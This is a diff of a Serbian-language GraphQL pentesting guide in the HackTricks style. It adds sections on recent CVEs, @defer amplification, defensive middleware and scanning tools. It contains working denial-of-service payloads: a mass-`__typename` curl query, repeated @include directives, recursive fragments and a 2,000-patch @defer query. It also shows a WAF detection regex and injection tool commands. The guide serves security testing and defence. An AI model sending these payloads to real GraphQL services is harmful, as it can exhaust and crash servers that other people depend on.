\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
+## Nedavne ranjivosti (2023-2025)
+
+> GraphQL ekosistem se veoma brzo razvija; tokom poslednje dve godine otkriveno je nekoliko kritičnih problema u najčešće korišćenim server bibliotekama. Kada pronađete GraphQL endpoint, vredi identifikovati engine (vidi **graphw00f**) i proveriti trenutnu verziju u odnosu na ranjivosti u nastavku.
+
+### CVE-2024-47614 – `async-graphql` direktiva-preopterećenje DoS (Rust)
+* Pogođeno: async-graphql < **7.0.10** (Rust)
+* Osnovni uzrok: nema ograničenja na **duplikat direktivama** (npr. hiljade `@include`) koje se proširuju u eksponencijalni broj izvršnih čvorova.
+* Uticaj: jedan HTTP zahtev može iscrpiti CPU/RAM i srušiti servis.
+* Rešenje/ublažavanje: nadograditi ≥ 7.0.10 ili pozvati `SchemaBuilder.limit_directives()`; alternativno filtrirati zahteve sa WAF pravilom kao što je `"@include.*@include.*@include"`.
+```graphql
+# PoC – repeat @include X times
+query overload {
+__typename @include(if:true) @include(if:true) @include(if:true)
+}
+```
+### CVE-2024-40094 – `graphql-java` ENF dubina/kompleksnost zaobilaženje
+* Pogođeno: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
+* Osnovni uzrok: **ExecutableNormalizedFields** nisu uzimani u obzir od strane `MaxQueryDepth` / `MaxQueryComplexity` instrumentacije. Rekurzivni fragmenti su stoga zaobišli sve limite.
+* Uticaj: neautentifikovani DoS protiv Java stackova koji uključuju graphql-java (Spring Boot, Netflix DGS, Atlassian proizvodi…).
+```graphql
+fragment A on Query { ...B }
+fragment B on Query { ...A }
+query { ...A }
+```
+### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
+* Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin).
+* Root cause: the `createMediaItem` mutation accepted attacker-controlled **`filePath` URLs**, allowing internal network access and file writes.
+* Impact: authenticated Editors/Authors could reach metadata endpoints or write PHP files for remote code execution.
+
+---
+
+## Incremental delivery abuse: `@defer` / `@stream`
+Since 2023 most major servers (Apollo 4, GraphQL-Java 20+, HotChocolate 13) implemented the **incremental delivery** directives defined by the GraphQL-over-HTTP WG. Every deferred patch is sent as a **separate chunk**, so the total response size becomes *N + 1* (envelope + patches). A query that contains thousands of tiny deferred fields therefore produces a large response while costing the attacker only one request – a classical **amplification DoS** and a way to bypass body-size WAF rules that only inspect the first chunk. WG members themselves flagged the risk.
+
+Example payload generating 2 000 patches:
+```graphql
+query abuse {
+% for i in range(0,2000):
+f{{i}}: __typename @defer
+% endfor
+}
+```
+Mitigacija: onemogućite `@defer/@stream` u produkciji ili nametnite `max_patches`, kumulativne `max_bytes` i vreme izvršenja. Biblioteke kao što je **graphql-armor** (vidi ispod) već primenjuju razumna podešavanja.
+
+---
+
+## Odbrambeni middleware (2024+)
+
+| Projekat | Napomene |
+|---|---|
+| **graphql-armor** | Node/TypeScript validacijski middleware objavljen od strane Escape Tech. Implementira plug-and-play ograničenja za dubinu upita, brojeve aliasa/polja/direktiva, tokene i troškove; kompatibilan sa Apollo Server, GraphQL Yoga/Envelop, Helix, itd. |
+
+Brzi početak:
+```ts
+import { protect } from '@escape.tech/graphql-armor';
+import { applyMiddleware } from 'graphql-middleware';
+
+const protectedSchema = applyMiddleware(schema, ...protect());
+```
+`graphql-armor` će sada blokirati previše duboke, kompleksne ili direktivne upite, štiteći od gore navedenih CVE-ova.
+
+---
+
## Alati
### Skeneri ranjivosti
-- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene greške u konfiguraciji graphql krajnjih tačaka
-- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija.
-- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje koji se graphql koristi
+- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene pogrešne konfiguracije graphql krajnjih tačaka
+- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje batch GraphQL upita i mutacija.
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje graphql koji se koristi
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do određenog tipa.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada: `python3 graphqlmap.py -u http://example.com/graphql --inject`
-- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja određenog tipa u GraphQL šemi**.
+- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja datog tipa u GraphQL šemi**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Naslednik samostalnog i CLI moda InQL-a
-- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija ili python skripta za napredno GraphQL testiranje. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu introspekcijsku šemu. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da izvršite serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine: `python3 inql.py -t http://example.com/graphql -o output.json`
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija ili python skripta za napredno GraphQL testiranje. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu introspekcijsku šemu. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da izvršite batch GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Pokušava da dobije šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza podataka koje će sugerisati imena mutacija i parametara.
### Skripte za iskorišćavanje uobičajenih ranjivosti
-- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Kolekcija skripti za iskorišćavanje ranjivosti usluge uskraćivanja u ranjivim graphql okruženjima.
+- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): Kolekcija skripti za iskorišćavanje ranjivosti usled uskraćivanja usluge u ranjivim graphql okruženjima.
### Klijenti
@@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
+- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
+- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}